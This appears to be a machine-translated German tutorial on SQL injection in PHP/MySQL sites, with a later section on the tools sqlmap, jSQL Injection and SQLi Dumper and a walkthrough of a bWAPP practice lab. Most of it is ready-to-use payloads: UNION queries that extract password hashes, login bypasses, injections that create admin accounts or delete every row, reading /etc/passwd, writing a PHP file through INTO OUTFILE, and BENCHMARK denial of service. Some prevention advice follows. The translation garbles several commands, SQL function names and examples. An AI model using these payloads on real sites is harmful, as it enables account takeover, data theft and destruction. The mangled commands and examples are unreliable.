SQL-Injektion. Was ist das? So finden Sie MySQL-Versionen heraus

Nachlässigkeit und Unaufmerksamkeit sind zwei Gründe dafür, Code zu schreiben, der anfällig für SQL-Injections ist. Der dritte Grund – Unwissenheit – sollte den Programmierer dazu ermutigen, sein Wissen zu vertiefen oder sogar seinen Beruf zu wechseln.

SQL-Injektion ( SQL-Injektion) - Verletzlichkeit Dies ist auf eine unzureichende Datenüberprüfung und -verarbeitung zurückzuführen, die vom Benutzer übertragen werden, und ermöglicht das Ändern und Ausführen von Abfragen, die vom SQL-Programmcode unerwartet sind.

SQL-Injection ist eine weit verbreitete Sicherheitslücke im Internet, die ohne spezielle Programme leicht ausgenutzt werden kann und keine umfassenden technischen Kenntnisse erfordert. Die Ausnutzung dieser Schwachstelle öffnet die Tür zu großartigen Möglichkeiten wie:

  • Datendiebstahl – 80 %;
  • Denial-of-Service – 10 Prozent;
  • Ersatz oder Zerstörung von Daten - 2-3 %;
  • andere Fälle und Absichten.

Es gibt auch verschiedene Programme zum Testen der Website-Sicherheit für alle Arten von JS- und SQL-Injections.

Ausführliche Erklärung

In diesem Artikel werde ich versuchen, die Hauptrisiken zu erläutern, die bei der Interaktion mit der MySQL-Datenbank entstehen. Der Übersichtlichkeit halber gebe ich ein Beispiel für eine einfache Datenbankstruktur, die für die meisten Projekte typisch ist:

Datenbank „Nachrichten“ erstellen; VERWENDEN Sie „Nachrichten“; # # news table # CREATE TABLE `news` (`id` int(11) NOT NULL auto_increment, `title` varchar(50) default NULL, `date` datetime default NULL, `text` text, PRIMARY KEY (`id` )) TYPE=MyISAM; # # einige Daten hinzufügen # INSERT `news` SET `id`="1", `title`="first news", `date`="2005-06-25 16:50:20", `text`=" Nachrichtentext"; INSERT `news` SET `id`="2", `title`="zweite Nachricht", `date`="2005-06-24 12:12:33", `text`="test news"; # # user table # CREATE TABLE `users` (`id` int(11) NOT NULL auto_increment, `login` varchar(50) default NULL, `password` varchar(50) default NULL, `admin` int(1) NULL STANDARD „0“, PRIMÄRSCHLÜSSEL (`id`)) TYPE=MyISAM; # # Fügen Sie mehrere Benutzer hinzu, einen mit Administratorrechten, den anderen einfach. # INSERT `users` SET `id`="1", `login`="admin", `password`="qwerty", `admin`="1 "; INSERT `users` SET `id`="2", `login`="user", `password`="1111", `admin`="0";

Wir sehen, dass die Anfrage abhängig vom Wert von $_GET["id"] generiert wird. Um zu prüfen, ob eine Schwachstelle vorliegt, reicht es aus, den Wert auf einen Wert zu ändern, der einen Fehler bei der Ausführung der SQL-Abfrage verursachen kann.

Natürlich kann es sein, dass keine Fehlerausgabe erfolgt, dies bedeutet jedoch nicht, dass kein Fehler vorliegt

„Sie haben einen Fehler in Ihrer SQL-Syntax; Sehen Sie im Handbuch zu Ihrer MySQL-Serverversion nach, welche Syntax in der Nähe von „““ in Zeile 1 die richtige ist.

oder Ergebnis

http://test.com/index.php?id=2-1

Wenn eine Sicherheitslücke vorliegt, sollte dies zu einem ähnlichen Ergebnis führen wie

http://test.com/index.php?id=1.

Ähnliche Schwachstellen ermöglicht es Ihnen, die Anfrage zu ändern im WHERE-Parameterteil. Wenn ein Angreifer eine solche Schwachstelle entdeckt, prüft er zunächst, wie viele Felder in der Anfrage verwendet werden. Dazu wird eine bewusst falsche ID gesetzt, um die Ausgabe echter Informationen auszuschließen und mit einer Anfrage mit der gleichen Anzahl leerer Felder kombiniert.

http://test.com/index.php?id=-1+UNION+SELECT+null,null,null,null

Die Anzahl der „Nullen“ muss der Anzahl der Felder entsprechen, die in der Anfrage verwendet werden.

Wenn die Abfrage einen Fehler auslöst, wird ein weiterer leerer Wert hinzugefügt, bis der Fehler verschwindet und ein Ergebnis mit leeren Daten zurückgegeben wird. Als nächstes werden die kombinierten Felder durch Werte ersetzt, die auf der Seite visuell beobachtet werden können.

Zum Beispiel:

http://test.com/index.php?id=-1+UNION+SELECT+null

Jetzt wird auf der Seite, auf der die Schlagzeile der Nachrichten angezeigt werden sollte, qwerty angezeigt.

Wie finde ich MySQL-Versionen heraus?

http://test.com/index.php?id=-1+UNION+SELECT+null,VERSION(),null,null http://test.com/index.php?id=-1+UNION+SELECT +null,USER(),null,null http://test.com/index.php?id=-1+UNION+SELECT+null,SESSION_USER(),null,null

Wie erhalte ich das Login des aktuellen Datenbankbenutzers?

http://test.com/index.php?id=-1+UNION+SELECT+null,SYSTEM_USER(),null,null

Wie heißt die verwendete Datenbank?

http://test.com/index.php?id=-1+UNION+SELECT+null,DATABASE(),null,null

Wie bekomme ich andere Daten aus anderen Tabellen?

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, `password`, null, null FROM `users` WHERE `id`="1";

Dies ist eine einfache Möglichkeit, das Passwort oder den Passwort-Hash des Administrators herauszufinden. Wenn der aktuelle Benutzer Zugriffsrechte auf die Datenbank „mysql“ hat, erhält der Angreifer problemlos den Passwort-Hash des Administrators.

Http://test.com/index.php?id=-1+union+select+null,mysql.user.password,null,null+from+mysql.user

Jetzt ist seine Auswahl nur noch eine Frage der Zeit.

Suchen

Die Suche ist einer der anfälligsten Orte, da eine große Anzahl von Abfrageparametern gleichzeitig übertragen wird. Ein Beispiel für eine einfache Abfrage, die nach Schlüsselwörtern sucht:

SELECT * FROM `news` WHERE `title` LIKE "%$search%" OR `text` LIKE "%$search%"

$search ist das Wort, das vom Formular gesendet wird. Ein Angreifer kann $search="# in der Variablen übergeben, jetzt sieht die Anfrage so aus:

SELECT * FROM `news` WHERE `title` LIKE "%"#%" OR `text` LIKE "%"#%";

Dementsprechend werden anstelle der Suchergebnisse zum Stichwort alle Daten angezeigt. Dadurch können Sie auch die oben beschriebene Abfrageaggregationsfunktion nutzen.

Verwendung des ORDER-Parameters

Bei der Eingabe von Suchparametern oder der Anzeige von Informationen können Sie häufig feststellen, dass sie es dem Benutzer ermöglichen, Daten nach bestimmten Feldern zu sortieren. Ich sage gleich, dass die Nutzung dieser Schwachstelle nicht allzu gefährlich ist, da sie beim Versuch, Anfragen zu kombinieren, einen Fehler verursacht, aber in Kombination mit Schwachstellen in anderen Bereichen besteht die Gefahr, dass dieser Parameter auskommentiert wird.

http://test.com/index.php?sort=name

der ORDER-Parameter wird abhängig von der $sort-Variablen gebildet

Die folgende Anfrage wird generiert:

SELECT * FROM `news` WHERE `title` LIKE "%"/*%" OR `text` LIKE "%"/*%" ORDER BY */

Dadurch werden eine der Bedingungen und der ORDER-Parameter auskommentiert

Jetzt können Sie die Abfrage erneut kombinieren, indem Sie $sort=*/UNION SELECT... zuweisen.

Als Option, die Schwachstelle dieses Parameters auszunutzen:

SELECT * FROM `users` ORDER BY LENGTH(password);

Damit können Sie Benutzer nach der Länge des Passworts sortieren, sofern es in „reiner“ Form gespeichert wird.

Genehmigung

Versuchen wir nun, die Optionen für SQL-Injections zu betrachten, die während der Benutzerautorisierung auftreten. Typischerweise sieht die Anfrage, die die Richtigkeit der Berechtigungsdaten prüft, so aus:

SELECT * FROM `users` WHERE `login`="$login" AND `password`="$password";

Dabei sind $login und $password Variablen, die vom Formular übergeben werden. Eine solche Abfrage gibt bei Erfolg Daten für den Benutzer zurück und bei Nichterfolg ein leeres Ergebnis. Um die Autorisierung weiterzugeben, muss ein Angreifer daher lediglich die Anfrage so ändern, dass sie ein Ergebnis ungleich Null zurückgibt. Es wird ein Login angegeben, das einem echten Benutzer entspricht, und anstelle eines Passworts " OR "1"="1" oder eine wahre Bedingung (1, "a"="a", 1<>2, 3>2, 1+1, ISNULL(NULL), 2 IN (0,1,2), 2 ZWISCHEN 1 UND 3). Dementsprechend wird die Anfrage wie folgt generiert:

SELECT * FROM `users` WHERE `login`="admin" AND `password`="" OR "1"="1";

Dies gibt das Ergebnis zurück und führt infolgedessen zu einer unbefugten Autorisierung. Was passiert, wenn die Passwörter in der Tabelle gehasht sind? Dann wird die Passwortprüfung einfach „deaktiviert“, indem alles auskommentiert wird, was nach „Anmelden“ kommt. Im Formular wird anstelle des Logins das Login des echten Benutzers vergeben und „#“ damit die Passwortprüfung auskommentiert.

SELECT * FROM `users` WHERE `login`="admin"#" AND `password`="12345"

als Option „OR `id`=2#

SELECT * FROM `users` WHERE `login`="" OR `id`=2#" AND `password`="12345"

SELECT * FROM `users` WHERE `login`="" OR `admin`="1"#" AND `password`="12345"

Ein großer Fehler besteht darin, das Passwort wie folgt zu überprüfen:

SELECT * FROM `users` WHERE `login`="$login" AND `password` LIKE "$password"

da in diesem Fall das Passwort % für jede Anmeldung geeignet ist

EINFÜGEN & AKTUALISIEREN

Allerdings sind nicht nur SELECTs eine Schwachstelle in SQL. INSERT und UPDATE können nicht weniger anfällig sein. Nehmen wir an, die Site bietet die Möglichkeit, Benutzer zu registrieren. Abfrage, die einen neuen Benutzer hinzufügt:

Eine Schwachstelle in einem der Felder ermöglicht es, die Anfrage mit den notwendigen Daten zu modifizieren. Im Anmeldefeld fügen wir Benutzer“, „Passwort“, 1)# hinzu und fügen damit einen Benutzer mit Administratorrechten hinzu.

INSERT `users` SET `login`="user", `password`="password", `admin`="0";

Nehmen wir an, dass sich das Feld „admin“ vor dem Feld „login“ befindet, sodass der Trick, die Daten nach dem Feld „login“ zu ersetzen, nicht funktioniert. Denken Sie daran, dass Sie mit der Syntax des INSERT-Befehls nicht nur eine Zeile, sondern mehrere hinzufügen können. Ein Beispiel für eine Schwachstelle im Login-Feld: $login= user“, „password“), (1, „hacker“, „password“)#

INSERT INTO `users` SET (`admin`, `login`, `password`) VALUES (0, „user“, „password“), (1, „hacker“, „password“)#“, „password“) ;

Auf diese Weise entstehen 2 Einträge, einer mit den Rechten eines einfachen Benutzers, der andere mit den gewünschten Admin-Rechten.

Eine ähnliche Situation mit UPDATE

Hinzufügen zusätzlicher zu ändernder Felder:

$login=", `password`="", `admin`="1

Dann eine ähnliche Anfrage

UPDATE `users` SET `login`="teapot" WHERE `id`=2;

Wie folgt geändert:

UPDATE `users` SET `login`="", `password`="", `admin`="1" WHERE `id`=2;

Was wird passieren? Der Benutzer mit der ID 2 ändert den Benutzernamen und das Passwort in leere Werte und erhält Administratorrechte. Oder für den Fall

$login=", `password`="" WHERE `id` =1#

Der Administrator-Login und das Passwort sind leer.

LÖSCHEN

Hier ist alles ganz einfach, Sie können keine Daten abrufen oder ändern, aber unnötige Daten können Sie jederzeit löschen.

$id=1 ODER 1=1

DELETE FROM `news` WHERE `id`="1" OR 1=1; // löscht alle Einträge in der Tabelle.

Anstelle von 1=1 kann es jede oben genannte wahre Bedingung geben. Der LIMIT-Parameter kann gespeichert werden, wodurch die Anzahl der gelöschten Zeilen begrenzt wird. Dies ist jedoch nicht immer der Fall. Er kann einfach auskommentiert werden.

DELETE FROM `news` WHERE `id`="1" OR 1=1# LIMIT 1;

Arbeiten mit Dateien per SQL-Injection

Ich bezweifle ernsthaft, dass das irgendwo passieren kann, aber fairerweise muss man auch solche Methoden beschreiben. Wenn Dateiberechtigungen aktiviert sind, können Sie die Befehle LOAD_FILE und OUTFILE verwenden.

Ihre Gefährlichkeit kann anhand der folgenden Abfragen beurteilt werden:

SELECT * FROM `news` WHERE `id`=-1 union select null,LOAD_FILE("/etc/passwd"),null,null; SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, LOAD_FILE("/home/test/www/dbconf.php"),null,null;

Doch damit sind die Probleme noch nicht zu Ende.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null,"",null,null FROM `news` into outfile „/home/test/www/test.php“;

So schreiben wir eine Datei, die PHP-Code enthält. Zwar wird es neben dem Code noch mehrere weitere Nulleinträge geben, dies hat jedoch keinerlei Auswirkungen auf die Leistung des PHP-Codes. Es gibt jedoch mehrere Bedingungen, aufgrund derer diese Methoden funktionieren:

  • Das FILE-Privileg ist für den aktuellen Datenbankbenutzer aktiviert;
  • Die Rechte zum Lesen oder Schreiben dieser Dateien liegen bei dem Benutzer, unter dem der MySQL-Server läuft; der absolute Pfad zur Datei;
  • Eine weniger wichtige Bedingung ist, dass die Dateigröße kleiner als max_allowed_packet sein muss, aber da in MySQL 3.23 die größte Paketgröße 16 MB betragen kann und in 4.0.1 und höher die Paketgröße nur durch die Menge des verfügbaren Speichers begrenzt ist, Bis zu einem theoretischen Maximum von 2 GB ist dieser Zustand in der Regel immer gegeben.

Magische Zitate

Magische Anführungszeichen machen es unmöglich, SQL-Injections in String-Variablen zu verwenden, da sie automatisch alle „ und „ maskieren, die mit $_GET und $_POST einhergehen. Dies gilt jedoch nicht für die Verwendung von Schwachstellen in ganzzahligen oder gebrochenen Parametern, allerdings mit der Ausnahme, dass die Verwendung von „ nicht möglich ist. In diesem Fall hilft die char-Funktion.

SELECT * FROM `news` WHERE `id`=-1 UNION SELECT null, char(116, 101, 115, 116), null, null;

DOS über SQL-Injection.

Ich hätte fast vergessen zu sagen, und SQL-Experten werden es bestätigen, dass die UNION-Operation nur in MySQL >=4.0.0 möglich ist. Leute, die Projekte mit früheren Versionen haben, atmeten erleichtert auf :) Aber nicht alles ist so sicher, wie es auf den ersten Blick aussieht. Der Logik des Angreifers ist manchmal schwer zu folgen. „Wenn ich nicht hacken kann, werde ich zumindest scheitern“, wird sich der Hacker denken, während er die BENCHMARK-Funktion für eine Beispielanfrage eingibt

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,MD5(NOW()));

Ich brauchte 12 bis 15 Sekunden. Eine Null hinzufügen - 174 Sekunden. Ich konnte meine Hand einfach nicht heben, um mehr zu tun. Natürlich werden solche Dinge auf leistungsstarken Servern viel schneller erledigt, aber...BENCHMARK ermöglicht es Ihnen, sich einzeln zu investieren. So:

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW())));

Oder sogar so

SELECT * FROM `news` WHERE `id`=BENCHMARK(1000000,BENCHMARK(1000000,BENCHMARK(1000000,MD5(NOW()))));

Und die Anzahl der Nullen wird nur durch die „Freundlichkeit“ desjenigen begrenzt, der sie eintippt.

Ich denke, dass selbst eine SEHR leistungsstarke Maschine solche Anfragen nicht einfach verarbeiten kann.

Endeffekt

Das ist alles. In diesem Artikel habe ich versucht, die Arten von Schwachstellen, die Programmierer beim Erstellen von Programmen mit MySQL-Datenbanken machen, so weit wie möglich abzudecken. Ich bin jedoch mehr als sicher, dass dies keine vollständige Liste ist.

Es ist wichtig, die Regeln gegen SQL-Injections zu beachten

  • Vertrauen Sie KEINEN Daten, die vom Benutzer stammen. Dabei geht es nicht nur um die Daten, die in den Arrays $_GET und $_POST übertragen werden. Vergessen Sie nicht $_COOKIE und andere Teile von HTTP-Headern. Bedenken Sie, dass sie leicht auszutauschen sind.
  • Sie sollten sich nicht auf die PHP-Option „Magic Quotes“ verlassen, die wahrscheinlich mehr behindert als hilft. Alle Daten, die in die Datenbank übertragen werden, müssen nach Typ mit Datenbankfeldern zusammengefasst werden. ($id=(int)$_GET["id"]) oder durch die Funktionen mysql_real_escape_string oder mysql_real_escape_string geschützt.
  • mysql_real_escape_string maskiert % und _ nicht und sollte daher nicht in Verbindung mit LIKE verwendet werden.
  • Sie sollten sich auch nicht zu sehr auf ein korrekt geschriebenes mod_rewrite verlassen. Dies sind nur Möglichkeiten, „bequeme“ URLs zu erstellen, aber sicherlich kein Schutz vor SQL-Injections.
  • Fehlerberichterstattung deaktivieren.
  • Helfen Sie schlechten Besuchern nicht. Selbst wenn der Fehler erkannt wird, wird der Mangel an Informationen darüber seine Anwendung ernsthaft behindern. Denken Sie an den Unterschied zwischen der Entwicklungsphase und dem Arbeitsentwurf. Fehlerausgabe und andere detaillierte Informationen - Ihr Verbündeter in der Entwicklungsphase und Verbündeter des Angreifers in Arbeitsversion. Sie sollten sie auch nicht durch Kommentare im HTML-Code ausblenden; auf 1000 Besucher kommt einer, der solche Dinge noch findet.
  • Behandeln Sie Fehler.
  • Schreiben Sie die Verarbeitung von SQL-Abfragen so, dass Informationen darüber in einigen Protokollen gespeichert oder per E-Mail gesendet werden.
  • Speichern Sie Datenbankzugriffsdaten nicht in Dateien, die nicht von PHP als Code verarbeitet werden.
  • Ich glaube nicht, dass ich Amerika für irgendjemanden entdeckt habe, aber aus eigener Erfahrung kann ich sagen, dass diese Praxis durchaus üblich ist. Normalerweise handelt es sich dabei um eine Datei mit der Erweiterung *.inc
  • Erstellen Sie keinen Datenbank-Superuser.
  • Gewähren Sie nur die Rechte, die zum Ausführen bestimmter Aufgaben erforderlich sind.
  • Bei der Suche lohnt es sich, die minimale und maximale Anzahl der Zeichen, die die Abfrageparameter darstellen, zu begrenzen.
  • Für einen ehrlichen Benutzer reichen 3 bis 60-70 Zeichen aus, um seine Suchinteressen zu befriedigen, und gleichzeitig verhindern Sie Situationen, in denen die Suchanfrage den Umfang „Krieg und Frieden“ hat.
  • Überprüfen Sie immer die Anzahl der nach einer Abfrage zurückgegebenen Datensätze

Fast 90 % der Websites sind in PHP geschrieben Es liegt ein solcher logischer Fehler vor, der insbesondere dann beobachtet werden kann, wenn eine Anfrage auf Grundlage der vom Benutzer erhaltenen ID gestellt wird. Wenn Sie dem Skript manuell eine nicht vorhandene ID zuweisen, werden wir bei der Arbeit einiger Skripte recht interessante Ergebnisse sehen Anstatt 404 zurückzugeben, unternimmt das Programm bestenfalls nichts und zeigt eine leere Seite an.

Sicheres SQL für Sie.

Die Anzahl der Websites und Seiten im Internet wächst stetig. Jeder, der kann, übernimmt die Entwicklung. Und unerfahrene Webprogrammierer verwenden sehr oft unsicheren und alten Code. Und das schafft viele Schlupflöcher für Angreifer und Hacker. Welches ist, was sie verwenden. Eine der klassischsten Schwachstellen ist die SQL-Injection.

Eine kleine Theorie

Viele Menschen wissen, dass die meisten Websites und Dienste im Internet SQL-Datenbanken verwenden, um sie zu speichern. Dabei handelt es sich um eine strukturierte Abfragesprache, mit der Sie Data Warehouses verwalten und verwalten können. Es gibt viele verschiedene Versionen von Datenbankverwaltungssystemen – Oracle, MySQL, Postgre. Unabhängig von Name und Typ verwenden sie Datenabfragen auf die gleiche Weise. Hier liegt die potenzielle Schwachstelle. Konnte der Entwickler die Anfrage nicht korrekt und sicher verarbeiten, kann ein Angreifer dies ausnutzen und sich mit speziellen Taktiken Zugriff auf die Datenbank verschaffen und von dort aus die gesamte Site kontrollieren.

Um solche Situationen zu vermeiden, müssen Sie den Code richtig optimieren und sorgfältig überwachen, welche Anfrage auf welche Weise verarbeitet wird.

Auf SQL-Injections prüfen

Um das Vorhandensein von Schwachstellen im Netzwerk festzustellen, gibt es viele vorgefertigte automatisierte Softwaresysteme. Eine einfache Prüfung können Sie aber auch manuell durchführen. Dazu müssen Sie eine der von Ihnen recherchierten Seiten aufrufen und versuchen, in der Adressleiste einen Datenbankfehler auszulösen. Beispielsweise darf ein Skript auf einer Website Anfragen nicht verarbeiten und sie möglicherweise nicht abschneiden.

Beispielsweise gibt es eine bestimmte_site/index.php?id=25

Am einfachsten ist es, nach 25 Uhr ein Angebot abzugeben und eine Anfrage zu senden. Wenn kein Fehler auftritt, werden entweder alle Anfragen auf der Seite gefiltert und korrekt verarbeitet, oder ihre Ausgabe ist in den Einstellungen deaktiviert. Wenn beim Neuladen der Seite Probleme auftreten, besteht eine Sicherheitslücke für SQL-Injection.

Sobald es erkannt wird, können Sie versuchen, es loszuwerden.

Um diese Schwachstelle zu implementieren, müssen Sie ein wenig über UNION wissen. Eine davon ist UNION. Es kombiniert mehrere Abfrageergebnisse zu einem. Auf diese Weise können Sie die Anzahl der Felder in der Tabelle berechnen. Ein Beispiel für die erste Anfrage sieht so aus:

  • some_site/index.php?id=25 UNION SELECT 1.

In den meisten Fällen sollte ein solcher Eintrag einen Fehler erzeugen. Dies bedeutet, dass die Anzahl der Felder nicht gleich 1 ist. Wenn Sie also Optionen von 1 und mehr auswählen, können Sie deren genaue Anzahl festlegen:

  • some_site/index.php?id=25 UNION SELECT 1,2,3,4,5,6.

Das heißt, wenn der Fehler nicht mehr auftritt, bedeutet dies, dass die Anzahl der Felder korrekt ist.

Es gibt auch eine alternative Lösung für dieses Problem. Wenn beispielsweise die Anzahl der Felder groß ist – 30, 60 oder 100. Dies ist der Befehl GROUP BY. Es gruppiert Abfrageergebnisse nach einem bestimmten Merkmal, zum Beispiel nach der ID:

  • some_site/index.php?id=25 GROUP BY 5.

Wenn keine Fehler empfangen wurden, bedeutet dies, dass mehr als 5 Felder vorhanden sind. Wenn Sie also Optionen aus einem ziemlich großen Bereich ersetzen, können Sie berechnen, wie viele es tatsächlich sind.

Dieses SQL-Injection-Beispiel richtet sich an Anfänger, die versuchen möchten, ihre Website zu testen. Es ist wichtig, sich daran zu erinnern, dass es einen Artikel des Strafgesetzbuches gibt, der den unbefugten Zugriff auf fremdes Eigentum verbietet.

Hauptarten von Injektionen

Es gibt mehrere Möglichkeiten, Schwachstellen durch SQL-Injection zu implementieren. Die folgenden sind die beliebtesten Methoden:

    UNION-Injektion. Ein einfaches Beispiel dieser Art wurde oben bereits besprochen. Die Implementierung erfolgt aufgrund eines Fehlers bei der Prüfung eingehender Daten, die in keiner Weise gefiltert werden.

    Fehlerbasierte SQL-Injection. Wie der Name schon sagt, nutzt dieser Typ auch Fehler aus, indem er syntaktisch falsche Ausdrücke sendet. Anschließend werden die Antwortheader abgefangen und analysiert, die anschließend zur Durchführung einer SQL-Injection verwendet werden können.

    Gestapelte Injektion. Diese Schwachstelle wird durch die Ausführung sequentieller Anfragen bestimmt. Es ist durch das Anhängen eines „;“ am Ende gekennzeichnet. Dieser Ansatz wird am häufigsten implementiert, um auf die Implementierung des Lesens und Schreibens von Daten zuzugreifen oder um Betriebssystemfunktionen zu steuern, wenn die Berechtigungen dies zulassen.

Softwaresysteme zur Suche nach SQL-Schwachstellen

Programme, die für die Durchführung von SQL-Injections verfügbar sind, bestehen in der Regel aus zwei Komponenten: Sie scannen eine Website auf mögliche Schwachstellen und nutzen diese, um Zugriff auf Daten zu erhalten. Es gibt solche Dienstprogramme für fast alle bekannten Plattformen. Ihre Funktionalität erleichtert die Überprüfung einer Website auf die Möglichkeit eines Hackings mit SQL-Injection erheblich.

SQLmap

Ein sehr leistungsstarker Scanner, der mit den meisten bekannten DBMS funktioniert. Unterstützt verschiedene SQL-Injection-Techniken. Es verfügt über die Fähigkeit, die Art des Passwort-Hashs automatisch zu erkennen und ihn mithilfe eines Wörterbuchs zu knacken. Es gibt auch Funktionen zum Herunterladen und Hochladen von Dateien vom Server.

Die Installation in einer Linux-Umgebung erfolgt mit den folgenden Befehlen:

  • Git-Klon https://github.com/sqlmapproject/sqlmap.git sqlmap-dev,
  • cdsqlmap-dev/,
  • ./sqlmap.py --wizard.

Für Windows gibt es sowohl eine Befehlszeilen- als auch eine grafische Benutzeroberflächenoption.

jSQL-Injection

jSQL Injection ist ein plattformübergreifendes Tool zum Testen der Ausnutzung von SQL-Schwachstellen. In Java geschrieben, daher muss die JRE auf dem System installiert sein. Kann Header- und Cookie-Anfragen verarbeiten. Verfügt über eine praktische grafische Oberfläche.

Die Installation dieses Softwarepakets läuft wie folgt ab:

wget https://github.com/`curl -s https://github.com/ron190/jsql-injection/releases| grep-E -o "/ron190/jsql-injection/releases/download/v(1,2).(1,2)/jsql-injection-v(1,2).(1,2).jar"| Kopf-n 1`

Starten Sie mit dem Befehl java -jar ./jsql-injection-v*.jar

Um mit der Überprüfung einer Site auf SQL-Schwachstellen zu beginnen, müssen Sie deren Adresse in das obere Feld eingeben. Sie sind für GET und POST getrennt. Bei einem positiven Ergebnis erscheint im linken Fenster eine Liste der verfügbaren Tabellen. Sie können sie einsehen und einige vertrauliche Informationen erfahren.

Um nach Verwaltungspanels zu suchen, verwenden Sie die Registerkarte „Admin-Seite“. Mithilfe spezieller Vorlagen wird automatisch nach Systemdatensätzen privilegierter Benutzer gesucht. Von ihnen können Sie nur einen Passwort-Hash erhalten. Es ist aber auch in den Programmtools verfügbar.

Nachdem alle Schwachstellen gefunden und die erforderlichen Anfragen eingefügt wurden, können Sie mit dem Dienstprogramm Ihre Datei auf den Server hochladen oder umgekehrt von dort herunterladen.

SQLi Dumper v.7

Dieses Programm ist ein benutzerfreundliches Tool zum Auffinden und Beheben von Schwachstellen in SQL. Die UNO stellt dies auf Basis sogenannter Idioten her. Ihre Listen sind im Internet zu finden. SQL-Injection-Schlüsselwörter sind spezielle Suchabfragemuster. Mit ihrer Hilfe können Sie sie möglicherweise über jede Suchmaschine finden.

Trainingstools

Die Website itsecgames.com verfügt über eine Reihe spezieller Tools, mit denen Sie anhand von Beispielen zeigen können, wie eine SQL-Injection erstellt und getestet wird. Um es nutzen zu können, müssen Sie es herunterladen und installieren. Das Archiv enthält eine Reihe von Dateien, die die Struktur der Site darstellen. Für die Installation benötigen Sie eine Reihe von im System verfügbaren Apache-, MySQL- und PHP-Webservern.

Nachdem Sie das Archiv in den Webserver-Ordner entpackt haben, müssen Sie zu der Adresse gehen, die Sie bei der Installation dieses Softwareprodukts eingegeben haben. Die Benutzerregistrierungsseite wird geöffnet. Hier müssen Sie Ihre Daten eingeben und auf „Erstellen“ klicken. Nachdem der Benutzer in ein neues Fenster weitergeleitet wurde, bietet das System an, eine der Testoptionen auszuwählen. Darunter befinden sich sowohl die beschriebenen Injektionen als auch viele weitere Testaufgaben.

Es lohnt sich, sich ein Beispiel für eine SQL-Injection wie GET/Search anzusehen. Hier müssen Sie es auswählen und auf „Hack“ klicken. Dem Benutzer wird eine Suchleiste und eine Nachahmung einer bestimmten Website mit Filmen angezeigt. Man kann Filme lange durchgehen. Aber es gibt nur 10 davon. Sie können zum Beispiel versuchen, Iron Man zu betreten. Der Film wird angezeigt, was bedeutet, dass die Site funktioniert und Tabellen darin sind. Jetzt müssen wir prüfen, ob das Skript Sonderzeichen, insbesondere Anführungszeichen, filtert. Dazu müssen Sie „“ zur Adressleiste hinzufügen. Darüber hinaus muss dies nach dem Namen des Films erfolgen. Auf der Website wird die Fehlermeldung „Fehler: Sie haben einen Fehler in Ihrer SQL-Syntax“ angezeigt. Sehen Sie im entsprechenden Handbuch nach Suchen Sie bei Ihrer MySQL-Serverversion nach der richtigen Syntax für die Verwendung in der Nähe von „%“ in Zeile 1, was darauf hinweist, dass die Zeichen immer noch falsch verarbeitet werden. Dies bedeutet, dass Sie versuchen können, Ihre Anfrage zu ersetzen. Sie müssen jedoch zunächst die Anzahl der Felder berechnen. Verwenden Sie dazu order by, das nach dem Zitat eingegeben wird: http://testsites.com/sqli_1.php?title=Iron+Man" order by 2 --&action=search.

Dieser Befehl zeigt lediglich Informationen zum Film an, d. h. die Anzahl der Felder ist größer als 2. Der doppelte Bindestrich teilt dem Server mit, dass andere Anforderungen verworfen werden sollen. Jetzt müssen Sie iterieren und immer größere Werte ersetzen, bis ein Fehler angezeigt wird. Als Ergebnis stellt sich heraus, dass es 7 Felder geben wird.

Jetzt ist es an der Zeit, etwas Nützliches aus der Datenbank zu holen. Sie müssen die Anfrage in der Adressleiste leicht ändern und sie in folgende Form bringen: http://testsites.com/sqli_1.php?title=Iron+Man" Union Select 1, Datenbank(),Benutzer(),4 ,password,6, 7 von Benutzern --&action=search. Als Ergebnis seiner Ausführung werden Zeilen mit Passwort-Hashes angezeigt, die mit einem der Online-Dienste leicht in verständliche Zeichen umgewandelt werden können. Und mit ein wenig Magie und Wenn Sie den Namen des Anmeldefelds auswählen, können Sie auf den Datensatz einer anderen Person zugreifen, beispielsweise auf den Site-Administrator.

Das Produkt verfügt über eine Vielzahl verschiedener Injektionsarten zum Üben. Es sei daran erinnert, dass die Nutzung dieser Fähigkeiten online oder auf realen Websites strafbar sein kann.

Injektionen und PHP

In der Regel ist es der PHP-Code, der für die notwendige Bearbeitung der vom Nutzer kommenden Anfragen verantwortlich ist. Daher müssen Sie auf dieser Ebene einen Schutz gegen SQL-Injections in PHP aufbauen.

  • Daten müssen immer verarbeitet werden, bevor sie in der Datenbank gespeichert werden. Dies kann entweder durch die Verwendung vorhandener Ausdrücke oder durch manuelles Organisieren von Abfragen erreicht werden. Auch hier ist zu bedenken, dass numerische Werte in den benötigten Typ umgewandelt werden;
  • Vermeiden Sie das Auftreten verschiedener Kontrollstrukturen in der Anfrage.

Nun ein wenig zu den Regeln zum Verfassen von Abfragen in MySQL zum Schutz vor SQL-Injections.

Beim Schreiben von Abfrageausdrücken ist es wichtig, die Daten von den SQL-Schlüsselwörtern zu trennen.

  • SELECT * FROM table WHERE name = Zerg.

Bei diesem Entwurf denkt das System möglicherweise, dass Zerg der Name eines Feldes ist und muss daher in Anführungszeichen gesetzt werden.

  • SELECT * FROM table WHERE name = „Zerg“.

Es gibt jedoch Situationen, in denen der Wert selbst Anführungszeichen enthält.

  • SELECT * FROM table WHERE name = „Elfenbeinküste“.

Hier wird nur ein Teil von cat-d verarbeitet, der Rest kann als Befehl wahrgenommen werden, den es natürlich nicht gibt. Daher wird ein Fehler auftreten. Das bedeutet, dass diese Art von Daten überprüft werden muss. Verwenden Sie dazu den Backslash - \.

  • SELECT * FROM table WHERE name = „Elfenbeinküste“.

Alle oben genannten Punkte gelten für Zeichenfolgen. Wenn die Aktion mit einer Zahl erfolgt, sind keine Anführungszeichen oder Schrägstriche erforderlich. Allerdings muss eine Konvertierung in den erforderlichen Datentyp erzwungen werden.

Es gibt die Empfehlung, den Feldnamen in ein Backquote zu setzen. Dieses Symbol befindet sich auf der linken Seite der Tastatur, zusammen mit dem Tildezeichen „~“. Dies ist notwendig, damit MySQL den Feldnamen genau von seinem Schlüsselwort unterscheiden kann.

Dynamische Arbeit mit Daten

Sehr häufig werden dynamisch generierte Abfragen verwendet, um beliebige Daten aus der Datenbank abzurufen. Zum Beispiel:

  • SELECT * FROM table WHERE number = "$number".

Hier wird die Variable $number als Definition des Feldwerts übergeben. Was passiert, wenn sich die Elfenbeinküste darauf einlässt? Fehler.

